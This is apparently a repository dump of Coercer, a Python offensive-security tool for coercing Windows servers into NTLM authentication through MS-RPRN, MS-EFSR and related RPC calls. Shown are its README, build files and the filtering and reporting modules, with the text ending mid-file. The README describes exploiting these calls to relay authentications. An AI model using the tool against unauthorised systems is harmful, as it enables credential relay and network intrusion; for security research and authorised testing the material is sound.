├── .github
├── FUNDING.yml
├── banner.png
└── workflows
│ ├── python-pip-build.yml
│ └── python-poetry-build.yml
├── .gitignore
├── Coercer.py
├── LICENSE
├── MANIFEST.in
├── Makefile
├── README.md
├── coercer
├── __init__.py
├── __main__.py
├── core
│ ├── Filter.py
│ ├── Reporter.py
│ ├── __init__.py
│ ├── loader.py
│ ├── modes
│ │ ├── __init__.py
│ │ ├── coerce.py
│ │ ├── fuzz.py
│ │ └── scan.py
│ ├── tasks
│ │ ├── __init__.py
│ │ ├── execute.py
│ │ └── prepare.py
│ └── utils.py
├── ext
│ └── responder
│ │ ├── Responder.conf
│ │ ├── Responder.py
│ │ ├── SMB.py
│ │ ├── __init__.py
│ │ ├── packets.py
│ │ ├── settings.py
│ │ └── utils.py
├── methods
│ ├── MS_DFSNM
│ │ ├── NetrDfsAddStdRoot.py
│ │ ├── NetrDfsRemoveStdRoot.py
│ │ └── __init__.py
│ ├── MS_EFSR
│ │ ├── EfsRpcAddUsersToFile.py
│ │ ├── EfsRpcAddUsersToFileEx.py
│ │ ├── EfsRpcDecryptFileSrv.py
│ │ ├── EfsRpcDuplicateEncryptionInfoFile.py
│ │ ├── EfsRpcEncryptFileSrv.py
│ │ ├── EfsRpcFileKeyInfo.py
│ │ ├── EfsRpcOpenFileRaw.py
│ │ ├── EfsRpcQueryRecoveryAgents.py
│ │ ├── EfsRpcQueryUsersOnFile.py
│ │ ├── EfsRpcRemoveUsersFromFile.py
│ │ └── __init__.py
│ ├── MS_EVEN
│ │ ├── ElfrOpenBELW.py
│ │ └── __init__.py
│ ├── MS_FSRVP
│ │ ├── IsPathShadowCopied.py
│ │ ├── IsPathSupported.py
│ │ └── __init__.py
│ ├── MS_RPRN
│ │ ├── RpcRemoteFindFirstPrinterChangeNotification.py
│ │ ├── RpcRemoteFindFirstPrinterChangeNotificationEx.py
│ │ └── __init__.py
│ └── __init__.py
├── models
│ ├── MSPROTOCOLRPCCALL.py
│ └── __init__.py
├── network
│ ├── DCERPCSession.py
│ ├── DCERPCSessionError.py
│ ├── Listener.py
│ ├── __init__.py
│ ├── authentications.py
│ ├── rpc.py
│ ├── smb.py
│ └── utils.py
└── structures
│ ├── Credentials.py
│ ├── EscapeCodes.py
│ ├── MethodType.py
│ ├── Modes.py
│ ├── ReportingLevel.py
│ ├── TestResult.py
│ ├── TransportType.py
│ └── __init__.py
├── documentation
├── Coerce-mode.md
├── Fuzz-mode.md
├── Scan-mode.md
├── coercer.html
├── coercer
│ ├── core.html
│ ├── core
│ │ ├── Filter.html
│ │ ├── MethodFilter.html
│ │ ├── Reporter.html
│ │ ├── loader.html
│ │ ├── modes.html
│ │ ├── modes
│ │ │ ├── coerce.html
│ │ │ ├── fuzz.html
│ │ │ └── scan.html
│ │ └── utils.html
│ ├── methods.html
│ ├── methods
│ │ ├── MS_DFSNM.html
│ │ ├── MS_DFSNM
│ │ │ ├── NetrDfsAddStdRoot.html
│ │ │ └── NetrDfsRemoveStdRoot.html
│ │ ├── MS_EFSR.html
│ │ ├── MS_EFSR
│ │ │ ├── EfsRpcAddUsersToFile.html
│ │ │ ├── EfsRpcAddUsersToFileEx.html
│ │ │ ├── EfsRpcDecryptFileSrv.html
│ │ │ ├── EfsRpcDuplicateEncryptionInfoFile.html
│ │ │ ├── EfsRpcEncryptFileSrv.html
│ │ │ ├── EfsRpcFileKeyInfo.html
│ │ │ ├── EfsRpcOpenFileRaw.html
│ │ │ ├── EfsRpcQueryRecoveryAgents.html
│ │ │ ├── EfsRpcQueryUsersOnFile.html
│ │ │ └── EfsRpcRemoveUsersFromFile.html
│ │ ├── MS_EVEN.html
│ │ ├── MS_EVEN
│ │ │ └── ElfrOpenBELW.html
│ │ ├── MS_FSRVP.html
│ │ ├── MS_FSRVP
│ │ │ ├── IsPathShadowCopied.html
│ │ │ └── IsPathSupported.html
│ │ ├── MS_RPRN.html
│ │ └── MS_RPRN
│ │ │ ├── RpcRemoteFindFirstPrinterChangeNotification.html
│ │ │ └── RpcRemoteFindFirstPrinterChangeNotificationEx.html
│ ├── models.html
│ ├── models
│ │ └── MSPROTOCOLRPCCALL.html
│ ├── network.html
│ ├── network
│ │ ├── DCERPCSession.html
│ │ ├── DCERPCSessionError.html
│ │ ├── Listener.html
│ │ ├── authentications.html
│ │ ├── rpc.html
│ │ ├── smb.html
│ │ └── utils.html
│ ├── protocols.html
│ ├── protocols
│ │ ├── MS_DFSNM.html
│ │ ├── MS_EFSR.html
│ │ ├── MS_FSRVP.html
│ │ └── MS_RPRN.html
│ ├── structures.html
│ ├── structures
│ │ ├── Credentials.html
│ │ ├── MethodType.html
│ │ ├── ReportingLevel.html
│ │ └── TestResult.html
│ ├── utils.html
│ └── utils
│ │ ├── RPCProtocol.html
│ │ ├── Reporter.html
│ │ └── smb.html
├── index.html
├── search.js
└── videos
│ ├── demo-coerce.mp4
│ ├── demo-fuzz.mp4
│ ├── demo-scan.mp4
│ └── demo-webdav-coerce.mp4
├── installer.ps1
├── poetry.lock
├── pyproject.toml
├── requirements.txt
└── setup.py
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: p0dalirius
4 | patreon: Podalirius
--------------------------------------------------------------------------------
/.github/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/.github/banner.png
--------------------------------------------------------------------------------
/.github/workflows/python-pip-build.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python
2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions
3 |
4 | name: Python pip build
5 |
6 | on:
7 | push:
8 | branches: [ "master" ]
9 | pull_request:
10 | branches: [ "master" ]
11 |
12 | permissions:
13 | contents: read
14 |
15 | jobs:
16 | build:
17 |
18 | runs-on: ubuntu-latest
19 |
20 | steps:
21 | - uses: actions/checkout@v3
22 | - name: Set up Python 3.11
23 | uses: actions/setup-python@v3
24 | with:
25 | python-version: "3.11"
26 | - name: Install dependencies
27 | run: |
28 | python -m pip install --upgrade pip
29 | pip install flake8 wheel
30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
31 | - name: Lint with flake8
32 | run: |
33 | # stop the build if there are Python syntax errors or undefined names
34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
36 | flake8 . --count --exit-zero --max-complexity=25 --max-line-length=512 --statistics
37 | - name: Pip build
38 | run: |
39 | python3 setup.py sdist bdist_wheel
40 | - name: Pip install
41 | run: |
42 | python3 setup.py install
43 |
--------------------------------------------------------------------------------
/.github/workflows/python-poetry-build.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python
2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions
3 |
4 | name: Python poetry build
5 |
6 | on:
7 | push:
8 | branches: [ "master" ]
9 | pull_request:
10 | branches: [ "master" ]
11 |
12 | permissions:
13 | contents: read
14 |
15 | jobs:
16 | build:
17 |
18 | runs-on: ubuntu-latest
19 |
20 | steps:
21 | - uses: actions/checkout@v3
22 | - name: Set up Python 3.11
23 | uses: actions/setup-python@v3
24 | with:
25 | python-version: "3.11"
26 | - name: Install dependencies
27 | run: |
28 | python -m pip install --upgrade pip
29 | pip install flake8 poetry
30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
31 | - name: Lint with flake8
32 | run: |
33 | # stop the build if there are Python syntax errors or undefined names
34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
36 | flake8 . --count --exit-zero --max-complexity=25 --max-line-length=512 --statistics
37 | - name: Poetry build
38 | run: |
39 | poetry build
40 | - name: Poetry install
41 | run: |
42 | poetry install
43 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # poetry
98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102 | #poetry.lock
103 |
104 | # pdm
105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
106 | #pdm.lock
107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
108 | # in version control.
109 | # https://pdm.fming.dev/#use-with-ide
110 | .pdm.toml
111 |
112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
113 | __pypackages__/
114 |
115 | # Celery stuff
116 | celerybeat-schedule
117 | celerybeat.pid
118 |
119 | # SageMath parsed files
120 | *.sage.py
121 |
122 | # Environments
123 | .env
124 | .venv
125 | env/
126 | venv/
127 | ENV/
128 | env.bak/
129 | venv.bak/
130 |
131 | # Spyder project settings
132 | .spyderproject
133 | .spyproject
134 |
135 | # Rope project settings
136 | .ropeproject
137 |
138 | # mkdocs documentation
139 | /site
140 |
141 | # mypy
142 | .mypy_cache/
143 | .dmypy.json
144 | dmypy.json
145 |
146 | # Pyre type checker
147 | .pyre/
148 |
149 | # pytype static type analyzer
150 | .pytype/
151 |
152 | # Cython debug symbols
153 | cython_debug/
154 |
155 | # PyCharm
156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
158 | # and can be added to the global gitignore or merged into this file. For a more nuclear
159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
160 | #.idea/
161 |
--------------------------------------------------------------------------------
/Coercer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : Coercer.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 20 Sep 2022
6 |
7 |
8 | from coercer.__main__ import main
9 |
10 | if __name__ == '__main__':
11 | main()
12 |
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include requirements.txt
2 | recursive-include coercer *
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY : all clean build upload
2 |
3 | all: install clean
4 |
5 | clean:
6 | @rm -rf `find ./ -type d -name "*__pycache__"`
7 | @rm -rf ./build/ ./dist/ ./coercer.egg-info/
8 |
9 | docs:
10 | @python3 -m pip install pdoc --break-system-packages
11 | @echo "[$(shell date)] Generating docs ..."
12 | @PDOC_ALLOW_EXEC=1 python3 -m pdoc -d markdown -o ./documentation/ ./coercer/
13 | @echo "[$(shell date)] Done!"
14 |
15 | install: build
16 | pip install . --break-system-packages
17 |
18 | build:
19 | python3 -m pip uninstall coercer --yes --break-system-packages
20 | python3 -m pip install .[build] --break-system-packages
21 | python3 -m build --wheel
22 |
23 | upload: build
24 | python3 -m pip install .[twine] --break-system-packages
25 | python3 -m twine upload dist/*
26 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 |
4 | A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods.
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | ## Windows Support
14 | To build a binary for Windows, download the `installer.ps1` script from this repository. Run it simply with no arguments to create a binary in the working directory. Use `-h` or `--help` for the help menu with options.
15 |
16 | ## Features
17 |
18 | - Core:
19 | + [x] Lists open SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) authenticated and [fuzz](./documentation/Fuzz-mode.md) authenticated)
20 | + [x] Tries to connect on a list of known SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) unauthenticated and [fuzz](./documentation/Fuzz-mode.md) unauthenticated)
21 | + [x] Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
22 | + [x] Random UNC paths generation to avoid caching failed attempts (all modes)
23 | + [x] Configurable delay between attempts with `--delay`
24 | - Options:
25 | + [x] Filter by method name with `--filter-method-name`, by protocol name with `--filter-protocol-name` or by pipe name with `--filter-pipe-name` (all modes)
26 | + [x] Target a single machine `--target` or a list of targets from a file with `--targets-file`
27 | + [x] Specify IP address OR interface to listen on for incoming authentications. (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md))
28 | - Exporting results
29 | + [x] Export results in SQLite format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md))
30 | + [x] Export results in JSON format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md))
31 | + [x] Export results in XSLX format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md))
32 |
33 | ## Installation
34 |
35 | You can now install it from pypi (latest version is
) with this command:
36 |
37 | ```
38 | sudo python3 -m pip install coercer
39 | ```
40 |
41 | ## Quick start
42 |
43 | - You want to **assess** the Remote Procedure Calls listening on a machine to see if they can be leveraged to coerce an authentication?
44 | + Use [**scan** mode](./documentation/Scan-mode.md), example:
45 |
46 | https://user-images.githubusercontent.com/79218792/204374471-bc5094a3-8539-4df7-842e-faadcaf9c945.mp4
47 |
48 | - You want to **exploit** the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder?
49 | + Use [**coerce** mode](./documentation/Coerce-mode.md), example:
50 |
51 | https://user-images.githubusercontent.com/79218792/204372851-4ba461ed-6812-4057-829d-0af6a06b0ecc.mp4
52 |
53 | - You are doing **research** and want to fuzz Remote Procedure Calls listening on a machine with various paths?
54 | + Use [**fuzz** mode](./documentation/Fuzz-mode.md), example:
55 |
56 | https://user-images.githubusercontent.com/79218792/204373310-64f90835-b544-4760-b0a3-3071429b3940.mp4
57 |
58 | ---
59 |
60 | ## Contributing
61 |
62 | Pull requests are welcome. Feel free to open an issue if you want to add other features.
63 |
64 | ## Credits
65 |
66 | - [@tifkin_](https://twitter.com/tifkin_) and [@elad_shamir](https://twitter.com/elad_shamir) for finding and implementing **PrinterBug** on [MS-RPRN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1)
67 | - [@topotam77](https://twitter.com/topotam77) for finding and implementing **PetitPotam** on [MS-EFSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)
68 | - [@topotam77](https://twitter.com/topotam77) for finding and [@_nwodtuhs](https://twitter.com/_nwodtuhs) for implementing **ShadowCoerce** on [MS-FSRVP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)
69 | - [@filip_dragovic](https://twitter.com/filip_dragovic) for finding and implementing **DFSCoerce** on [MS-DFSNM](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979)
70 | - [@evilashz](https://github.com/evilashz/) for finding and implementing **CheeseOunce** on [MS-EVEN](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f)
71 |
--------------------------------------------------------------------------------
/coercer/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : __init__.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 17 Jul 2022
6 |
--------------------------------------------------------------------------------
/coercer/core/Filter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : Filter.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 15 Sep 2022
6 |
7 | class Filter(object):
8 | """
9 | Documentation for class Filter
10 | """
11 |
12 | def __init__(self, filter_method_name=None, filter_protocol_name=None, filter_pipe_name=None):
13 | super(Filter, self).__init__()
14 | self.filter_method_name = filter_method_name
15 | self.filter_protocol_name = filter_protocol_name
16 | self.filter_pipe_name = filter_pipe_name
17 |
18 | def method_matches_filter(self, instance):
19 | """
20 | Function method_matches_filter
21 |
22 | Parameters:
23 | ?:instance
24 |
25 | Return:
26 | bool:outcome
27 | """
28 | if len(self.filter_method_name) != 0 or len(self.filter_protocol_name) != 0:
29 | outcome = False
30 | else:
31 | outcome = True
32 | #
33 | for method in self.filter_method_name:
34 | if method in instance.function["name"]:
35 | outcome = True
36 | #
37 | for protocol in self.filter_protocol_name:
38 | if (protocol in instance.protocol["shortname"]) or (protocol in instance.protocol["longname"]):
39 | outcome = True
40 | #
41 | """
42 | candidate_pipes = [p["namedpipe"] for p in instance.access["ncan_np"]]
43 | for filter_pipe in self.filter_pipe_name:
44 | if filter_pipe in candidate_pipes:
45 | outcome = True
46 | """
47 | return outcome
48 |
49 | def pipe_matches_filter(self, pipe_name):
50 | """
51 | Function pipe_matches_filter
52 |
53 | Parameters:
54 | ?:pipe_name
55 |
56 | Return:
57 | bool:outcome
58 | """
59 | if len(self.filter_pipe_name) != 0:
60 | outcome = False
61 | else:
62 | outcome = True
63 | #
64 | for pipe in self.filter_pipe_name:
65 | if pipe in pipe_name:
66 | outcome = True
67 | return outcome
68 |
--------------------------------------------------------------------------------
/coercer/core/Reporter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : Reporter.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 17 Jul 2022
6 |
7 | from functools import wraps
8 | import sqlite3
9 | import os
10 | import json
11 | import xlsxwriter
12 | import sys
13 | import logging
14 | from coercer.models.MSPROTOCOLRPCCALL import MSPROTOCOLRPCCALL
15 | from coercer.structures import EscapeCodes
16 | from coercer.structures.TestResult import TestResult
17 |
18 | def create_reporter(options, verbose):
19 | global reporter
20 | reporter = Reporter(options, verbose)
21 |
22 | def should_print(func):
23 | @wraps(func)
24 | def wrapper(self, *args, **kwargs):
25 | verbose = kwargs.get("verbose", False)
26 | debug = kwargs.get("debug", False)
27 |
28 | if verbose and not self.options.verbose:
29 | return
30 |
31 | if debug and not self.options.debug:
32 | return
33 |
34 | return func(self, *args, **kwargs)
35 | return wrapper
36 |
37 | def parse_print_args(func):
38 | @wraps(func)
39 | def wrapper(self, *args, **kwargs):
40 | prefix = kwargs.pop("prefix", None)
41 |
42 | if len(args) == 1:
43 | message = args[0]
44 | elif len(args) == 2:
45 | if prefix is None:
46 | prefix = args[0]
47 | message = args[1]
48 | else:
49 | raise Exception("Print function takes a maximum of two arguments.")
50 |
51 | return func(self, prefix, message, **kwargs)
52 | return wrapper
53 |
54 | class Reporter(object):
55 | """
56 | Documentation for class Reporter
57 | """
58 |
59 | def __init__(self, options, verbose=False):
60 | super(Reporter, self).__init__()
61 |
62 | if options.log_file is not None:
63 | logging.basicConfig(filename=options.log_file, level=options.minimum_log_level, format='%(asctime)s %(levelname)s %(message)s')
64 | self.logger = logging.getLogger("coercer")
65 | else:
66 | self.logger = None
67 |
68 | self.options = options
69 | self.verbose = verbose
70 | self.test_results = {}
71 |
72 | # Args can be strings, or tuples (string, escape code)
73 | @should_print
74 | def print(self, *args, **kwargs):
75 | prefix = kwargs.get("prefix", None)
76 | symbol_arg = kwargs.get("symbol", None)
77 | symbol_bold = kwargs.get("symbol_bold", True)
78 | end = kwargs.get("end", "\n")
79 |
80 | if self.logger is not None:
81 | debug = kwargs.get("debug", False)
82 | log_level = kwargs.get("log_level", logging.DEBUG if debug else logging.INFO)
83 | log_string = ""
84 |
85 | output_string = ""
86 |
87 | if prefix:
88 | output_string += prefix
89 |
90 | if symbol_arg:
91 | if isinstance(symbol_arg, tuple):
92 | symbol = symbol_arg[0]
93 | if len(symbol_arg) == 2:
94 | symbol_color = symbol_arg[1]
95 | else:
96 | symbol_color = None
97 | else:
98 | symbol = symbol_arg
99 | symbol_color = None
100 |
101 | if self.logger is not None:
102 | log_string += "[%s] " % symbol
103 |
104 | if self.options.disable_escape_codes:
105 | output_string += "[%s] " % symbol
106 | else:
107 | if symbol_bold:
108 | output_string += EscapeCodes.BOLD
109 |
110 | output_string += "["
111 |
112 | if symbol_color:
113 | output_string += symbol_color + symbol + EscapeCodes.RESET
114 | else:
115 | output_string += symbol
116 |
117 | if symbol_bold:
118 | output_string += EscapeCodes.BOLD
119 |
120 | output_string += "]"
121 |
122 | if symbol_bold:
123 | output_string += EscapeCodes.RESET
124 |
125 | output_string += " "
126 |
127 | for arg in args:
128 | if isinstance(arg, tuple):
129 | if not self.options.disable_escape_codes:
130 | output_string += arg[1]
131 |
132 | if issubclass(type(arg[0]), MSPROTOCOLRPCCALL):
133 | output_arg = arg[0].to_string(self.options.disable_escape_codes)
134 | log_arg = arg[0].to_string(True)
135 | else:
136 | output_arg = str(arg[0])
137 | log_arg = output_arg
138 |
139 | output_string += output_arg
140 |
141 | if self.logger is not None:
142 | log_string += log_arg
143 |
144 | if not self.options.disable_escape_codes:
145 | output_string += EscapeCodes.RESET
146 | else:
147 | if issubclass(type(arg), MSPROTOCOLRPCCALL):
148 | output_arg = arg.to_string(self.options.disable_escape_codes)
149 | log_arg = arg.to_string(True)
150 | else:
151 | output_arg = str(arg)
152 | log_arg = output_arg
153 |
154 | output_string += output_arg
155 | if self.logger is not None:
156 | log_string += log_arg
157 |
158 | if self.logger is not None:
159 | self.logger.log(level=log_level, msg=log_string)
160 |
161 | print(output_string, end=end)
162 | sys.stdout.flush()
163 |
164 | def print_testing(self, msprotocol_rpc_instance, **kwargs):
165 | self.print("(", ("-testing-", EscapeCodes.BRIGHT_YELLOW), ") ", msprotocol_rpc_instance, prefix=" ", symbol=(">", EscapeCodes.BRIGHT_YELLOW), **kwargs)
166 |
167 | @parse_print_args
168 | def print_in_progress(self, prefix, message, **kwargs):
169 | self.print(message, prefix=prefix, symbol=(">", EscapeCodes.BRIGHT_YELLOW), **kwargs)
170 |
171 | @parse_print_args
172 | def print_info(self, prefix, message, **kwargs):
173 | self.print(message, prefix=prefix, symbol=("info", EscapeCodes.BRIGHT_GREEN), **kwargs)
174 |
175 | @parse_print_args
176 | def print_ok(self, prefix, message, **kwargs):
177 | self.print(message, prefix=prefix, symbol=("+", EscapeCodes.BRIGHT_GREEN), **kwargs)
178 |
179 | @parse_print_args
180 | def print_warn(self, prefix, message, **kwargs):
181 | self.print(message, prefix=prefix, symbol=("warn", EscapeCodes.BRIGHT_RED), log_level=logging.WARN, **kwargs)
182 |
183 | @parse_print_args
184 | def print_error(self, prefix, message, **kwargs):
185 | self.print(message, prefix=prefix, symbol=("!", EscapeCodes.BRIGHT_RED), log_level=logging.ERROR, **kwargs)
186 |
187 | def print_result(self, symbol, result, msprotocol_rpc_instance, escape_code=None, **kwargs):
188 | self.print("(", (result, escape_code), ") ", msprotocol_rpc_instance, prefix=" ", symbol=(symbol, escape_code), **kwargs)
189 |
190 | def report_test_result(self, target, uuid, version, namedpipe, msprotocol_rpc_instance, result, exploitpath):
191 | function_name = msprotocol_rpc_instance.function["name"]
192 | if target not in self.test_results.keys():
193 | self.test_results[target] = {}
194 | if uuid not in self.test_results[target].keys():
195 | self.test_results[target][uuid] = {}
196 | if version not in self.test_results[target][uuid].keys():
197 | self.test_results[target][uuid][version] = {}
198 | if function_name not in self.test_results[target][uuid][version].keys():
199 | self.test_results[target][uuid][version][function_name] = {}
200 | if namedpipe not in self.test_results[target][uuid][version][function_name].keys():
201 | self.test_results[target][uuid][version][function_name][namedpipe] = []
202 |
203 | # Save result to database
204 | self.test_results[target][uuid][version][function_name][namedpipe].append({
205 | "function": msprotocol_rpc_instance.function,
206 | "protocol": msprotocol_rpc_instance.protocol,
207 | "testresult": result.name,
208 | "exploitpath": exploitpath
209 | })
210 |
211 | if not self.options.disable_escape_codes:
212 | sys.stdout.write(EscapeCodes.CURSOR_UP_ONE)
213 | sys.stdout.write(EscapeCodes.ERASE_LINE)
214 |
215 | if self.options.mode in ["scan", "fuzz"]:
216 | if result == TestResult.SMB_AUTH_RECEIVED or result == TestResult.SMB_AUTH_RECEIVED_NTLMv1 or result == TestResult.SMB_AUTH_RECEIVED_NTLMv2:
217 | self.print_result("+", "SMB Auth", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN)
218 | elif result == TestResult.HTTP_AUTH_RECEIVED:
219 | self.print_result("+", "HTTP Auth", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN)
220 | elif result == TestResult.NCA_S_UNK_IF:
221 | self.print_result("-", "-No Func-", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_MAGENTA)
222 | else:
223 | if self.verbose:
224 | self.print_result("!", result.name, msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_RED)
225 | elif self.options.mode in ["coerce"]:
226 | if result == TestResult.ERROR_BAD_NETPATH:
227 | self.print_result("+", "ERROR_BAD_NETPATH", msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_GREEN)
228 | else:
229 | if self.verbose:
230 | self.print_result("!", result.name, msprotocol_rpc_instance, EscapeCodes.BOLD_BRIGHT_RED)
231 |
232 | def exportXLSX(self, filename):
233 | basepath = os.path.dirname(filename)
234 | filename = os.path.basename(filename)
235 | if basepath not in [".", ""]:
236 | if not os.path.exists(basepath):
237 | os.makedirs(basepath)
238 | path_to_file = basepath + os.path.sep + filename
239 | else:
240 | path_to_file = filename
241 | # export
242 |
243 | workbook = xlsxwriter.Workbook(path_to_file)
244 | worksheet = workbook.add_worksheet()
245 |
246 | header_format = workbook.add_format({'bold': 1})
247 | header_fields = ["Target", "Interface UUID", "Interface version", "SMB named pipe", "Protocol long name", "Protocol short name", "RPC function name", "Operation number", "Result", "Working path"]
248 | for k in range(len(header_fields)):
249 | worksheet.set_column(k, k + 1, len(header_fields[k]) + 3)
250 | worksheet.set_row(0, 60, header_format)
251 | worksheet.write_row(0, 0, header_fields)
252 |
253 | row_id = 1
254 | for target in self.test_results.keys():
255 | for uuid in self.test_results[target].keys():
256 | for version in self.test_results[target][uuid].keys():
257 | for function_name in self.test_results[target][uuid][version].keys():
258 | for namedpipe in self.test_results[target][uuid][version][function_name].keys():
259 | for test_result in self.test_results[target][uuid][version][function_name][namedpipe]:
260 | data = [target, uuid, version, namedpipe, test_result["protocol"]["longname"], test_result["protocol"]["shortname"], test_result["function"]["name"], test_result["function"]["opnum"], test_result["testresult"], test_result["exploitpath"]]
261 | worksheet.write_row(row_id, 0, data)
262 | row_id += 1
263 | worksheet.autofilter(0, 0, row_id, len(header_fields) - 1)
264 | workbook.close()
265 | self.print_info("Results exported to XLSX in '%s'" % path_to_file)
266 |
267 | def exportJSON(self, filename):
268 | basepath = os.path.dirname(filename)
269 | filename = os.path.basename(filename)
270 | if basepath not in [".", ""]:
271 | if not os.path.exists(basepath):
272 | os.makedirs(basepath)
273 | path_to_file = basepath + os.path.sep + filename
274 | else:
275 | path_to_file = filename
276 | # export
277 | f = open(path_to_file, "w")
278 | f.write(json.dumps(self.test_results, indent=4))
279 | f.close()
280 | self.print_info("Results exported to JSON in '%s'" % path_to_file)
281 |
282 | def exportSQLITE(self, filename):
283 | basepath = os.path.dirname(filename)
284 | filename = os.path.basename(filename)
285 | if basepath not in [".", ""]:
286 | if not os.path.exists(basepath):
287 | os.makedirs(basepath)
288 | path_to_file = basepath + os.path.sep + filename
289 | else:
290 | path_to_file = filename
291 | # Exporting results
292 | # Connecting to sqlite
293 | conn = sqlite3.connect(path_to_file)
294 | # Creating a cursor object using the cursor() method
295 | cursor = conn.cursor()
296 | cursor.execute("CREATE TABLE IF NOT EXISTS results(target VARCHAR(255), uuid VARCHAR(255), version VARCHAR(255), named_pipe VARCHAR(255), protocol_shortname VARCHAR(255), protocol_longname VARCHAR(512), function_name VARCHAR(255), result VARCHAR(255), path VARCHAR(512));")
